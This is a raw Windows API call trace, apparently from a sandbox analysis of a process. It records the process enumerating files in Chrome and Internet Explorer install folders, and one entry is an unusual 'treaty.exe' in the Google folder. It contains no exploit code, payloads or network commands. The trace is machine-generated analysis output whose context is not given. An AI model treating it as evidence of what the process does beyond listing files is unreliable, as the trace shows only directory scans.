	[0054.959] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b870 | out: lpFindFileData=0x1251b870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea82701, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x63d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="drive.crx", cAlternateFileName="")) returned 1
	[0054.959] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b870 | out: lpFindFileData=0x1251b870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeab0d44, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="external_extensions.json", cAlternateFileName="EXTERN~1.JSO")) returned 1
	[0054.959] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b870 | out: lpFindFileData=0x1251b870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea9adab, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="gmail.crx", cAlternateFileName="")) returned 1
	[0054.959] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b870 | out: lpFindFileData=0x1251b870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeaa9811, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="youtube.crx", cAlternateFileName="")) returned 1
	[0054.959] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b870 | out: lpFindFileData=0x1251b870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0054.959] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.960] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\docs.crx" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\docs.crx"), fInfoLevelId=0x0, lpFileInformation=0x125e4738 | out: lpFileInformation=0x125e4738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea6c768, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x11e2)) returned 1
	[0054.961] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\drive.crx" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\drive.crx"), fInfoLevelId=0x0, lpFileInformation=0x125e4788 | out: lpFileInformation=0x125e4788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea82701, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x63d9)) returned 1
	[0054.961] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\external_extensions.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\external_extensions.json"), fInfoLevelId=0x0, lpFileInformation=0x125e47d8 | out: lpFileInformation=0x125e47d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeab0d44, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4f2)) returned 1
	[0054.962] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\gmail.crx" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\gmail.crx"), fInfoLevelId=0x0, lpFileInformation=0x125e4828 | out: lpFileInformation=0x125e4828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea9adab, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5de8)) returned 1
	[0054.962] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\youtube.crx" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\youtube.crx"), fInfoLevelId=0x0, lpFileInformation=0x125e4878 | out: lpFileInformation=0x125e4878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeaa9811, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5c74)) returned 1
	[0054.962] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\eventlog_provider.dll" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\eventlog_provider.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e48c8 | out: lpFileInformation=0x125e48c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7689b536, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x3358)) returned 1
	[0054.962] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\icudtl.dat" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\icudtl.dat"), fInfoLevelId=0x0, lpFileInformation=0x125e4918 | out: lpFileInformation=0x125e4918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7d7940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7d7940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe9bf1b1, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x9a9480)) returned 1
	[0054.963] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\libegl.dll" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\libegl.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e4968 | out: lpFileInformation=0x125e4968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x76be28f2, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x18958)) returned 1
	[0054.963] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\libglesv2.dll" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\libglesv2.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e49b8 | out: lpFileInformation=0x125e49b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x76f4ff08, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x397d58)) returned 1
	[0054.963] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\nacl_irt_x86_64.nexe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\nacl_irt_x86_64.nexe"), fInfoLevelId=0x0, lpFileInformation=0x125e4a08 | out: lpFileInformation=0x125e4a08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d896020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d896020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea2818c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x380630)) returned 1
	[0054.964] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\natives_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\natives_blob.bin"), fInfoLevelId=0x0, lpFileInformation=0x125e4a58 | out: lpFileInformation=0x125e4a58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d896020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d896020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea2a89d, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x40323)) returned 1
	[0054.964] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\resources.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\resources.pak"), fInfoLevelId=0x0, lpFileInformation=0x125e4aa8 | out: lpFileInformation=0x125e4aa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d97a860, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d97a860, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea58ee0, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x118671c)) returned 1
	[0054.964] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\snapshot_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\snapshot_blob.bin"), fInfoLevelId=0x0, lpFileInformation=0x125e4af8 | out: lpFileInformation=0x125e4af8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea5dd02, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x161db8)) returned 1
	[0054.964] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\setupmetrics"), fInfoLevelId=0x0, lpFileInformation=0x125e4b48 | out: lpFileInformation=0x125e4b48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f252e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f252e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0054.965] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\setupmetrics"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.965] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f252e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f252e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.965] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f252e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f252e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.965] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e110e80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e110e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e110e80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="20170605115313.pma", cAlternateFileName="201706~1.PMA")) returned 1
	[0054.965] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0054.965] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.965] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\20170605115313.pma" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\setupmetrics\\20170605115313.pma"), fInfoLevelId=0x0, lpFileInformation=0x125e4be8 | out: lpFileInformation=0x125e4be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e110e80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e110e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e110e80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1ab8)) returned 1
	[0054.965] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.visualelementsmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x125e4c38 | out: lpFileInformation=0x125e4c38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x19a)) returned 1
	[0054.966] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe"), fInfoLevelId=0x0, lpFileInformation=0x125e4c88 | out: lpFileInformation=0x125e4c88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7344dbd0, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x117358)) returned 1
	[0054.966] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\CrashReports" (normalized: "c:\\program files (x86)\\google\\crashreports"), fInfoLevelId=0x0, lpFileInformation=0x125e4cd8 | out: lpFileInformation=0x125e4cd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0054.966] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\CrashReports" (normalized: "c:\\program files (x86)\\google\\crashreports"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.966] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\CrashReports\\*", lpFindFileData=0x1251b97c | out: lpFindFileData=0x1251b97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.966] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b99c | out: lpFindFileData=0x1251b99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.966] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b99c | out: lpFindFileData=0x1251b99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0054.966] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.966] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\treaty.exe" (normalized: "c:\\program files (x86)\\google\\treaty.exe"), fInfoLevelId=0x0, lpFileInformation=0x125e4d28 | out: lpFileInformation=0x125e4d28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c4d2040, ftCreationTime.dwHighDateTime=0x1d4d776, ftLastAccessTime.dwLowDateTime=0xb8b58ec0, ftLastAccessTime.dwHighDateTime=0x1d4d22b, ftLastWriteTime.dwLowDateTime=0xb8b58ec0, ftLastWriteTime.dwHighDateTime=0x1d4d22b, nFileSizeHigh=0x0, nFileSizeLow=0x12800)) returned 1
	[0054.967] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer" (normalized: "c:\\program files (x86)\\internet explorer"), fInfoLevelId=0x0, lpFileInformation=0x125e4d78 | out: lpFileInformation=0x125e4d78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0054.967] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer" (normalized: "c:\\program files (x86)\\internet explorer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.967] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\*", lpFindFileData=0x1251b9e0 | out: lpFindFileData=0x1251b9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.967] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251ba00 | out: lpFindFileData=0x1251ba00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.967] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251ba00 | out: lpFindFileData=0x1251ba00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0054.967] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251ba00 | out: lpFindFileData=0x1251ba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a37297, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2a37297, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2a5d3f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1
	[0054.967] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251ba00 | out: lpFindFileData=0x1251ba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2be033e8, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2be033e8, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x90894420, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1
	[0054.967] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251ba00 | out: lpFindFileData=0x1251ba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7f46f7c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0xd7f46f7c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xd7f6d0dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa59, dwReserved0=0x0, dwReserved1=0x0, cFileName="ie8props.propdesc", cAlternateFileName="")) returned 1
	[0054.967] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251ba00 | out: lpFindFileData=0x1251ba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb22549a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb22549a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb22a0c69, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="iecompat.dll", cAlternateFileName="")) returned 1
	[0054.967] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251ba00 | out: lpFindFileData=0x1251ba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb22ecf2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb22ecf2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb23391ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll", cAlternateFileName="")) returned 1
	[0054.967] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251ba00 | out: lpFindFileData=0x1251ba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb273d712, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb273d712, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb27fbdf3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5b200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1
